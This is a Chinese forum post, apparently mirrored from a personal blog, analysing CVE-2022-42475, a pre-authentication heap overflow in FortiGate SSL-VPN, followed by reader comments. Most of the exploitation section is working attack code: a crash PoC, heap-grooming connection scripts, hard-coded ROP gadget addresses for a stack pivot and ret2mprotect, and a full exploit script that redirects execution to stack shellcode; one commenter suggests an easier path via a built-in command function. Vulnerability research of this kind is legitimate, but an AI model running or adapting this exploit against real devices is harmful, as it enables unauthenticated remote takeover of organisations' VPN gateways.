40m41h42t 发表于 2023-8-4 09:27

CVE-2022-42475 FortiGate SSLVPN 堆溢出漏洞研究

本帖最后由 40m41h42t 于 2023-8-24 11:22 编辑

# CVE-2022-42475 FortiGate SSLVPN 堆溢出漏洞研究

> 本文亦同步发表在我的[个人博客](https://5ec.top/post/cve-2022-42475/)

{{% admonition info "Update 2023-08-24" %}}

根据 (https://i3r0nya.cn/wiki/note/reverse/cve-2022-42475/) 同学的[提醒](https://www.52pojie.cn/forum.php?mod=redirect&goto=findpost&ptid=1817079&pid=47739643),在 IDA 中搜索字符串 `run_command` 再搜索交叉引用可以搜索到 init 中内置的执行命令的函数,这可以为我们的利用带来很大的方便。

除此之外,程序挂的位置还是在 init 中而不是 libssl.so 中,因此覆写的位置其实并非 SSL 结构体,这一块的逻辑可能是异步读写的逻辑,这一块还需要再仔细研究。

{{% /admonition %}}

这是一个认证前 RCE,危害较大。

<!--more-->

## 漏洞描述

> A heap-based buffer overflow vulnerability \ in FortiOS SSL-VPN 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier and FortiProxy SSL-VPN 7.2.0 through 7.2.1, 7.0.7 and earlier may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.

我们搭建 7.2.2 的环境,搭建运行环境的过程在此略过不表。该漏洞位于设备的 SSLVPN 中,目标二进制程序为 sslvpnd,也就是 init 程序,Fortigate 的所有功能都位于 init 程序中。

## 复现漏洞

已知漏洞位于解析 `Content-Length` 的位置,我们触发一下漏洞,poc 如下:

```python
import socket
import ssl

path = "/remote/login".encode()
content_length = [
    "0", "-1", "2147483647", "2147483648", "-0",
    "4294967295", "4294967296", "1111111111111", "22222222222"]
ip = "192.168.102.133"

for CL in content_length:
    try:
      data = b"POST " + path + b" HTTP/1.1\r\nHost: " + \
            ip.encode() + b"\r\nContent-Length: " + CL.encode() + \
            b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"

      _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      _socket.connect((ip, 4443))
      _default_context = ssl._create_unverified_context()
      _socket = _default_context.wrap_socket(_socket)
      _socket.sendall(data)
      res = _socket.recv(1024)
      print(res)
      if b"HTTP/1.1" not in res:
            print("Error detected")
            print(CL)
            break
    except Exception as e:
      print(e)
      print("Error detected")
      print(CL)
      break

```

当 CL 的值为 2147483647 时会让目标出错。

```
$ python poc.py
Error detected
2147483647
```

## 漏洞分析

接下来挂调试器分析

```sh
kill -9 $(ps|grep node|grep -v grep|awk '{print $1}') &&gdbserver 192.168.158.128:443 --attach $(ps|grep sslvpn|grep -v grep|awk '{print $1}')
```

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230711223951.png)

在访问 rdi 的时候遇到非法地址导致程序崩溃。

看一下栈:

```
pwndbg> bt 20
#00x00007f54383f976d in __memset_avx2_erms () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#10x000000000164e6b9 in ?? () # in sub_164E670()
#20x0000000001785ba2 in ?? () # in sub_1785AB0()
#30x000000000177f56d in ?? () # in sub_177F4F0()
#40x0000000001780c20 in ?? () # in sub_1780B00()
#50x0000000001780cfe in ?? ()
#60x0000000001781211 in ?? ()
#70x00000000017824bc in ?? ()
#80x0000000001783842 in ?? ()
#90x0000000000448def in ?? ()
#10 0x0000000000451eca in ?? ()
#11 0x000000000044ea2c in ?? ()
#12 0x0000000000451138 in ?? ()
#13 0x0000000000451a61 in ?? ()
#14 0x00007f54382c2deb in __libc_start_main () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
#15 0x0000000000443c8a in ?? ()
```

简单回溯一下,rdi 是 memset 的第一个参数,也就是在 memset 的时候访问了异常地址。

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230712214349.png)

再往前回溯,有趣的事情发生了,我们看到这里:

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230712214450.png)

根据调试信息,`` 保存的是 content length,但是取的时候只取了 4 字节,然后将 rax+1 作为 esi 并符号扩展。最后调用 malloc 函数。

很显然这里存在一个整数溢出:如果我们构造 content length 为特殊值比如 0x1b00000000,在运算之后的值为 1,导致后续内存分配一块很小的空间:

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230715234222.png)

但是后续 memcpy 的时候却会 copy 一块很大的空间:

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230715234252.png)

这就会导致堆溢出。

看一下关键函数 `sslvpn_read_post_data`:

```c
__int64 __fastcall sslvpn_read_post_data(_QWORD *a1)
{
__int64 *v1; // r12
struct struct_http_info *v2; // rax
struct struct_http_info *ctx; // rbx
int v4; // eax
int bytes; // r12d
__int64 offset; // rdi
__int64 v7; // rdx
int v8; // r12d
__int64 v10; // rdx
int v11; // r12d

v1 = (__int64 *)a1;
v2 = (struct struct_http_info *)sub_17902B0(a1);
ctx = v2;
if ( !v2->content )
    v2->content = (char *)alloc((__int64 *)*v1, v2->content_length + 1);// 根据content_length分配内存,注意此处是取的4字节数据
v4 = ((__int64 (__fastcall *)(__int64 *, int *, __int64))read_data)(v1, &ctx->sock_buffer, 8190LL);
bytes = v4;
if ( v4 )
{
    if ( v4 < 0 )
    {
      if ( (unsigned int)sub_16594C0(a1) - 1 <= 4 )
      return 0LL;
    }
    else
    {
      offset = ctx->content_offset;
      v7 = *(_QWORD *)&ctx->content_length;   // 这里是用8字节content_length计算的,下面都是8字节content_length
      if ( (int)offset + v4 > v7 )
      bytes = *(_QWORD *)&ctx->content_length - offset;// 计算要拷贝的size
      if ( v7 > offset )
      {
      memcpy(&ctx->content, &ctx->sock_buffer, bytes);// 从sock_buffer拷贝数据到content
      v10 = *(_QWORD *)&ctx->content_length;
      v11 = ctx->content_offset + bytes;
      ctx->content_offset = v11;
      if ( v11 < v10 )
          return 0LL;
      }
      else
      {
      v8 = ctx->content_offset + bytes;
      ctx->content_offset = v8;
      if ( v8 < v7 )
          return 0LL;
      }
    }
}
return 2LL;
}
```

这里的漏洞点显而易见,根据上面的伪代码和汇编,漏洞点在于申请内存的时候是先取 `content_length` 的4 字节再符号扩展为 8 字节,但是在后续使用 `content_length` 的时候却是原本的 8 字节,此时就会造成整数溢出。

## 漏洞利用

### 利用思路

简单看一下保护:

```
$ checksec --file=init_722
RELRO          STACK CANARYNX          PIE   RPATH      
Partial RELROCanary foundNX enabledNo PIENo RPATH      
RUNPATH   Symbols   FORTIFYFortifiedFortifiableFILE
No RUNPATHNo SymbolsYes      10         47         init_722
```

{{% admonition info "利用点" %}}

结合之前 DEVCORE 利用 Fortios 堆溢出漏洞的经验,以及一些测试,通过发起多个 http 连接,可以让堆中分配多个 SSL 结构体,这样触发溢出,可以溢出到 `handshake_func` 函数指针,在溢出到函数指针后 rdx 指向可控数据,使用栈迁移相关的 gadget 即可完成利用.

此外由于 Fortios 的特点,进程崩溃后会立刻重启,因此可以多次尝试,直至溢出到函数指针,然后 ROP。

{{% /admonition %}}

溢出点如下图所示。

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Fortigate%20SSL%20structure.excalidraw.png)

{{% admonition tip "实际利用思路 (某些步骤不一定需要或者有用)" %}}

1. 创建 60 个 sock 连接,并发送不完整的 http 请求,希望能在服务端分配多个 SSL 结构体
2. 从第 40 个开始间隔释放 10 个 sock 链接,希望在服务端释放几个 SSL 结构体的 Hole.
3. 分配用于溢出的 exp_sk
4. 再分配 20 个 sock 连接,多分配几个 SSL 结构体
5. 触发溢出,希望修改 SSL 结构体中的函数指针
6. 给其他 socket 发送数据,等待函数指针调用
7. 劫持函数指针后,切换栈到可控数据区,然后 ROP 计算栈地址,调用 mprotect 让栈区有可执行权限
8. jmp esp 跳转到栈上的 shellcode 执行。

{{% /admonition %}}

### 调试偏移

这里提供一个小脚本,在 hit 到断点的时候输出此时 memcpy 的参数,并自动继续,在崩溃的时候输出崩溃地址的值,并计算相对偏移:

```python
import gdb

f = open("./log", "w")

def get_register(regname: str):
    """Return a register's value."""
    try:
      value = gdb.parse_and_eval(regname)
      return int(value)
      # return to_unsigned_long(value)
    except gdb.error as e:
      print(e)
      assert (regname == '$')
      regname = regname
      try:
            value = gdb.selected_frame().read_register(regname)
      except ValueError:
            return None
      return int(value)

last = 0
mem_cnt = 0
mem_start = 0

def stop_handler(event):
    global last, mem_cnt, mem_start
    if isinstance(event, gdb.BreakpointEvent):
      pc_val = get_register("$pc")
      rdi_val = get_register("$rdi")
      rsi_val = get_register("$rsi")
      if pc_val == 0x1785b6a: # memcpy
            f.write(f"dst: {hex(rdi_val)}, "
                  f"src: {hex(rsi_val)}, "
                  f"offset: {hex(rdi_val-last)}\n")
            f.flush()
            last = rdi_val
            mem_cnt += 1
            if mem_cnt == 61:
                mem_start = rdi_val
      gdb.execute("c")
    if isinstance(event, gdb.SignalEvent):
      if event.stop_signal in ["SIGABRT", "SIGSEGV"]:
            pc_val = get_register("$pc")
            rdx_val = get_register("$rdx")
            if pc_val == 0x1780bfb:
                mem_offset = rdx_val + 0xC0
                offset = mem_offset - mem_start
                f.write(f"crash addr: {hex(mem_offset)}\n")
                f.write(f"offset: {hex(offset)}\n")
                f.flush()


def register_stop_handler():
    gdb.events.stop.connect(stop_handler)

if __name__ == "__main__":
    register_stop_handler()
```

为了确定 SSL 结构体的位置和大小。我们把 sslvpn 打崩,看看此时内存分配的地址和函数指针距离的偏移:

```python
import socket
import ssl
from pwn import *


path = "/remote/login".encode()

ip = "192.168.102.133"
port = 4443


def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _socket.connect((ip, port))
    _default_context = ssl._create_unverified_context()
    _socket = _default_context.wrap_socket(_socket)
    return _socket


socks = []

for i in range(60):
    sk = create_ssl_ctx()
    data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.102.133\r\nContent-Length: 4096\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
    sk.sendall(data)
    socks.append(sk)

for i in range(20, 40, 2):
    sk = socks
    sk.close()
    socks = None

CL = "115964116992"
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.102.133\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"

exp_sk = create_ssl_ctx()

for i in range(20):
    sk = create_ssl_ctx()
    socks.append(sk)

exp_sk.sendall(data)

exp_sk.sendall(b'\x90'*0x100000)

for sk in socks:
    if sk:
      data = b"b" * 40
      sk.sendall(data)
```

在崩溃之后,可以发现程序执行到了这个位置:

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230719104107.png)

向前跟踪一下指令,我们发现 rax 的值是从地址 `rdx+0C0h` 取出的,内存分配是在 0x7f5430acf418 完成的,`rdx+0C0h` 的值为 0x7f5430ad0238:

```
.text:0000000001780BE0 48 8B 82 C0 00 00 00          mov   rax,
.text:0000000001780BE7 4C 89 EF                      mov   rdi, r13
.text:0000000001780BEA 48 85 C0                      test    rax, rax
.text:0000000001780BED 0F 84 85 00 00 00             jz      loc_1780C78
.text:0000000001780BED
.text:0000000001780BF3 5B                            pop   rbx
.text:0000000001780BF4 41 5C                         pop   r12
.text:0000000001780BF6 41 5D                         pop   r13
.text:0000000001780BF8 41 5E                         pop   r14
.text:0000000001780BFA 5D                            pop   rbp
.text:0000000001780BFB FF E0                         jmp   rax
```

我们可以多次尝试查看偏移是否一致。偏移和 content length 有关,这个值会影响堆的布局,因此需要仔细挑选。下面我给出在 `content length = 100` 和 `content length = 4096` 时堆的分配情况:

`content length = 100` 时:

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230719145449.png)

`content length = 4096` 时:

![](https://alist.qrz.today/d/public/imghost/blog/2023-cve-2022-42475/Pasted%20image%2020230719145142.png)

可以看到,不同的值会影响堆的偏移。我选择了 4096 这个值。日志输出如下:

```
1: dst: 0x7f54324a6418, src: 0x7f5432505038, offset: 0x7f54324a6418
... ...
60: dst: 0x7f54308b8c18, src: 0x7f54308f2038, offset: -0x1b0800
61: dst: 0x7f5430acf418, src: 0x7f54325fc038, offset: 0x216800
62: dst: 0x7f5430acf41b, src: 0x7f54325fc038, offset: 0x3
63: crash addr: 0x7f5430ad0238
64: offset: 0xe20
```

在第 62 次地址分配之后调用了某个 SSL struct 的 `handshake_func` 函数指针,造成了崩溃,从崩溃地址到分配地址的距离为 0xe20。那么接下来我们可以借助这个偏移修改函数指针,迁移栈,劫持控制流了。

### 栈迁移

上文我们知道 rax 的值是从 `[$rdx+0xC0]` 中取的,因此我们可以将栈迁移到 rdx 上。

可以搜索到这一条 Gadget:

```
0x000000000140583a: push rdx; pop rsp; add edi, edi; nop; ret;
```

我们就可以很方便地迁移栈了:

```python
payload = b"A" * (0xe20-3-0xC0)

"""
0x000000000140583a: push rdx; pop rsp; add edi, edi; nop; ret;
"""

push_rdx_pop_rsp_ret = 0x000000000140583a

gadget = b""

assert(len(gadget) <= 0xC0)

victim_obj = gadget
victim_obj += b"B"*(192-len(gadget))
victim_obj += p64(push_rdx_pop_rsp_ret)

payload += victim_obj
```

### Ret2mprotect

在迁移栈后,开始考虑下一步操作。我希望能劫持控制流,执行自己的 shellcode,为了达成这个目标,我需要将一片可控内存区域变成可执行的区域。

在这里我们可以控制的区域是 rdx 指向的内存地址,而且我们还可以发现 ROP Gadget 中存在类似 `jmp rsp` 的 gadget,因此我们可以将这一段地址添加执行权限,最后 rop 到该地址执行。

首先找到一些必须的 Gadget:

```python
payload = b"A" * (0xe20-3-0xC0)


"""stack povit
0x000000000140583a: push rdx; pop rsp; add edi, edi; nop; ret;
"""

push_rdx_pop_rsp_ret = 0x000000000140583a

"""ret2 mprotect
0x000000000054dac8: mov rax, rdx; ret;
0x0000000002b83960: and rax, rcx; ret;

0x000000000257016a: push rdx; pop rdi; ret;
0x0000000002a0e1c0: add rdx, rax; mov eax, edx; sub eax, edi; ret;

0x000000000060f622: pop rdi; ret;
0x0000000000530c9e: pop rsi; ret;
0x0000000000509382: pop rdx; ret;
0x000000000046bb37: pop rax; ret;
0x000000000058f803: pop rcx; ret;

0x0000000002608366: add r13, r8; ret;

0x000000000048560d: jmp rsp;
"""
mov_rax_rdx_ret = 0x000000000054dac8
and_rax_rcx_ret = 0x0000000002b83960

add_rdx_rax_mov_eax_edx_sub_eax_edi_ret = 0x0000000002a0e1c0
push_rdx_pop_rdi_ret = 0x000000000257016a

pop_rdi_ret = 0x000000000060f622
pop_rsi_ret = 0x0000000000530c9e
pop_rdx_ret = 0x0000000000509382
pop_rax_ret = 0x000000000046bb37
pop_rcx_ret = 0x000000000058f803
jmp_rsp = 0x000000000048560d

junk_code = 0x0000000002608366

write_addr = 0x00000000059f8c00

mprotect_plt = 0x43F3E0

gadget = b""

# gadget += p64(mov_rax_rdx_ret) # rax=rdx
```

接下来构造 mprotect 的参数,计算 rdx 到整个段的偏移,获取其大小,并调用 mprotect 函数:

```python
# ret2mprotect
gadget += p64(pop_rax_ret)
gadget += p64(0xffffffffffd29e88) # offset
# gadget += p64(0)

gadget += p64(junk_code)
gadget += p64(junk_code)

gadget += p64(add_rdx_rax_mov_eax_edx_sub_eax_edi_ret)
gadget += p64(push_rdx_pop_rdi_ret)

gadget += p64(junk_code)
gadget += p64(junk_code)

gadget += p64(pop_rsi_ret)
gadget += p64(0x300000)

gadget += p64(pop_rdx_ret)# rdx=0x7
gadget += p64(7)

gadget += p64(mprotect_plt)
```

### 劫持控制流

最后通过 jmp rsp 劫持控制流,为了跳过之前布置的栈迁移代码,我们还可以在劫持最开始的控制流之后多跳几下:

``` python
gadget += p64(jmp_rsp)
gadget += asm('jmp $+0x58')

# print(gadget)

assert (len(gadget) <= 0xC0)

victim_obj = gadget
victim_obj += b"\x90"*(0xC0-len(gadget))
victim_obj += p64(push_rdx_pop_rsp_ret)


payload += victim_obj

# shellcode
payload += b'\x90'*0x100

exp_sk.sendall(payload)
```

在劫持控制流之后就天高任鸟飞啦,这里就不再进一步描述获取 shell 的步骤了,感兴趣的可以看 (https://ioo0s.art/2023/02/09/CVE-2022-42475/) 这一篇文章。

### Exp

最后的 exp 如下所示。不同版本的 FortiOS 可能要进行一些调整。

```python
import socket
import ssl
from pwn import *
import socket
import pathlib


path = "/remote/login".encode()

ip = "192.168.102.133"
port = 4443


def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _socket.connect((ip, port))
    _default_context = ssl._create_unverified_context()
    _socket = _default_context.wrap_socket(_socket)
    return _socket


socks = []

for i in range(60):
    sk = create_ssl_ctx()
    data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.102.133\r\nContent-Length: 4096\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
    sk.sendall(data)
    socks.append(sk)

for i in range(20, 40, 2):
    sk = socks
    sk.close()
    socks = None

CL = "115964116992"# 0x1b00000000
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.102.133\r\nContent-Length: " + \
    CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"

exp_sk = create_ssl_ctx()

for i in range(20):
    sk = create_ssl_ctx()
    socks.append(sk)

exp_sk.sendall(data)

# exp_sk.sendall(b'\x90'*0x40000)

payload = b"A" * (0xe20-3-0xC0)


"""stack povit
0x000000000140583a: push rdx; pop rsp; add edi, edi; nop; ret;
"""

push_rdx_pop_rsp_ret = 0x000000000140583a

"""ret2 mprotect
0x000000000054dac8: mov rax, rdx; ret;
0x0000000002b83960: and rax, rcx; ret;

0x000000000257016a: push rdx; pop rdi; ret;
0x0000000002a0e1c0: add rdx, rax; mov eax, edx; sub eax, edi; ret;

0x000000000060f622: pop rdi; ret;
0x0000000000530c9e: pop rsi; ret;
0x0000000000509382: pop rdx; ret;
0x000000000046bb37: pop rax; ret;
0x000000000058f803: pop rcx; ret;

0x0000000002608366: add r13, r8; ret;

0x000000000048560d: jmp rsp;
"""
mov_rax_rdx_ret = 0x000000000054dac8
and_rax_rcx_ret = 0x0000000002b83960

add_rdx_rax_mov_eax_edx_sub_eax_edi_ret = 0x0000000002a0e1c0
push_rdx_pop_rdi_ret = 0x000000000257016a

pop_rdi_ret = 0x000000000060f622
pop_rsi_ret = 0x0000000000530c9e
pop_rdx_ret = 0x0000000000509382
pop_rax_ret = 0x000000000046bb37
pop_rcx_ret = 0x000000000058f803
jmp_rsp = 0x000000000048560d

junk_code = 0x0000000002608366

write_addr = 0x00000000059f8c00

mprotect_plt = 0x43F3E0

gadget = b""

# gadget += p64(mov_rax_rdx_ret) # rax=rdx

# ret2mprotect
gadget += p64(pop_rax_ret)
gadget += p64(0xffffffffffd29e88)
# gadget += p64(0)

gadget += p64(junk_code)
gadget += p64(junk_code)

gadget += p64(add_rdx_rax_mov_eax_edx_sub_eax_edi_ret)
gadget += p64(push_rdx_pop_rdi_ret)

gadget += p64(junk_code)
gadget += p64(junk_code)

gadget += p64(pop_rsi_ret)
gadget += p64(0x300000)

gadget += p64(pop_rdx_ret)# rdx=0x7
gadget += p64(7)

gadget += p64(mprotect_plt)

gadget += p64(jmp_rsp)
gadget += asm('jmp $+0x58')

# print(gadget)

assert (len(gadget) <= 0xC0)

victim_obj = gadget
victim_obj += b"\x90"*(0xC0-len(gadget))
victim_obj += p64(push_rdx_pop_rsp_ret)


payload += victim_obj

# shellcode
payload += b'\x90'*0x100

exp_sk.sendall(payload)

for sk in socks:
    if sk:
      data = b"b" * 40
      sk.sendall(data)

print("Done")
```

## 参考资料

- (https://nvd.nist.gov/vuln/detail/cve-2022-42475)
- (https://wzt.ac.cn/2022/12/15/CVE-2022-42475/)
- (https://ioo0s.art/2023/02/09/CVE-2022-42475/)
- (https://forum.butian.net/share/2166)
- (https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/)
- ~~(https://bishopfox.com/blog/exploit-cve-2022-42475)~~:这篇文章的 poc 在 FortiOS 7.2.2 虚拟机上会报 Request Entity Too Large 的错误,文章作者是在 FortiGate 100D(FortiOS 6.0.4)上测试的。也许版本更迭修复了 `logincheck` 路由的问题。

TGFpbgCarol 发表于 2023-8-22 09:45

本帖最后由 TGFpbgCarol 于 2023-8-22 09:54 编辑

后面利用其实有个特别简单的方式,你可以搜一下run_command字符串找一下相关的函数
我自己也写了这个漏洞的复现 https://i3r0nya.cn/wiki/note/reverse/cve-2022-42475/

以及你这个应该也是停在init中的,我觉得应该不是SSL那个结构体中的handshake_func,这块的逻辑是个异步读写,可能是某个其他的结构体中的函数指针

Shadow1005 发表于 2023-8-4 17:59

謝謝分享

GaryZong 发表于 2023-8-4 18:00

謝謝分享

wang180 发表于 2023-8-4 18:12

感谢分享

ShanGuiYao15 发表于 2023-8-5 09:38

感谢分享,参考学习

exiaowe 发表于 2023-8-5 10:09

好好,感谢分享!

Sc@Mary 发表于 2023-8-7 14:11

好帖,感谢分享

尛城 发表于 2023-8-9 06:02

学习一下,感谢分享

neilllyo 发表于 2023-8-9 09:29

感谢楼主,了解了溢出攻击方法

mfpss95134 发表于 2023-8-14 18:59

小白路过,有点难度,学一下~
页: [1] 2
查看完整版本: CVE-2022-42475 FortiGate SSLVPN 堆溢出漏洞研究